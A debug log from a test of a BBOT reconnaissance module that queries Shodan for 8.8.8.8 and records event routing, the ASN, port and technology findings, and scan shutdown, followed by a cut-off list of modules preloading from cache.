'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:12:18,988 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check -2026-02-27 22:12:18,988 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 22:12:18,990 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:12:18,991 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:12:18,991 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target -2026-02-27 22:12:18,993 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:12:18,994 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:12:18,994 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:12:18,995 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:12:18,995 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:12:18,996 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:12:18,997 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 22:12:19,003 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:12:19,003 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:12:19,004 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:12:19,005 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:12:19,005 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-02-27 22:12:19,006 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-02-27 22:12:19,006 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-02-27 22:12:19,007 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:12:19,007 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:12:19,011 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 22:12:19,106 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 22:12:19,109 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:12:19,110 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 22:12:19,111 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:12:19,111 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-02-27 22:12:19,111 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:12:19,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:12:19,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:12:19,113 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:12:19,114 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,114 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,115 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:12:19,116 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:12:19,117 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:12:19,117 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:12:19,118 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:12:19,118 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-02-27 22:12:19,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:12:19,120 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,121 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,122 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) in-scope because its main host matches the scan target -2026-02-27 22:12:19,122 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:12:19,123 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 22:12:19,123 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:12:19,124 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:12:19,124 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:12:19,124 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,125 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-02-27 22:12:19,125 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:12:19,126 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) in-scope because its main host matches the scan target -2026-02-27 22:12:19,127 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,127 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:12:19,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:12:19,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:12:19,130 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:12:19,131 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:12:19,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,132 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:12:19,132 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-02-27 22:12:19,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:12:19,133 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,133 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,134 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,134 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:12:19,135 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,135 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,136 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:12:19,136 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:12:19,137 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) because precheck succeeded -2026-02-27 22:12:19,137 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:12:19,138 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:12:19,138 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,139 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,139 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,139 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,140 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:12:19,140 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) because precheck succeeded -2026-02-27 22:12:19,141 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,141 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,142 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,142 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,143 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:12:19,143 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,144 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,144 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:12:19,145 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:12:19,212 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 22:12:19,213 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:12:19,214 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:12:19,215 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,215 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) from shodan_enterprise -2026-02-27 22:12:19,216 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-02-27 22:12:19,217 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) from shodan_enterprise -2026-02-27 22:12:19,218 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:12:19,220 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:12:19,221 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,222 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:12:19,222 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:12:19,223 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 22:12:19,224 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 22:12:19,225 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 22:12:19,226 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 22:12:19,226 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 22:12:19,227 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 22:12:19,227 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 22:12:19,227 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 22:12:19,328 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 22:12:19,328 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 22:12:19,344 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 22:12:19,345 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 22:12:19,346 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 22:12:19,352 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 22:12:19,353 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 22:12:19,354 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 22:12:19,355 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 22:12:19,356 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 22:12:19,357 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 22:12:19,494 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_aentd9mitw completed in 0 seconds with status FINISHED -2026-02-27 22:12:19,494 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 22:12:19,495 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:12:19,497 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events -2026-02-27 22:12:19,498 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-02-27 22:13:55,889 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:13:55,904 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:13:55,905 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:13:55,906 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:13:55,907 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:13:55,908 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:13:55,909 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:13:55,911 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:13:55,913 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:13:55,914 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:13:55,916 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:13:55,917 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:13:55,923 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:13:55,924 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:13:55,925 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:13:55,926 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:13:55,928 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:13:55,929 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:13:55,930 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:13:55,932 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:13:55,933 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:13:55,934 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:13:55,935 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:13:55,936 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:13:55,937 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:13:55,939 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:13:55,940 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:13:55,941 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:13:55,941 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:13:55,942 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:13:55,944 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:13:55,945 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:13:55,946 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:13:55,947 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:13:55,950 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:13:55,951 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:13:55,952 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:13:55,953 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:13:55,961 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:13:55,962 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:13:55,964 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:13:55,965 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:13:55,967 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:13:55,968 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:13:55,969 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:13:55,970 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:13:55,971 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 22:13:55,972 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:13:55,975 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:13:55,976 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:13:55,978 [DEBUG] bbot.module_loader 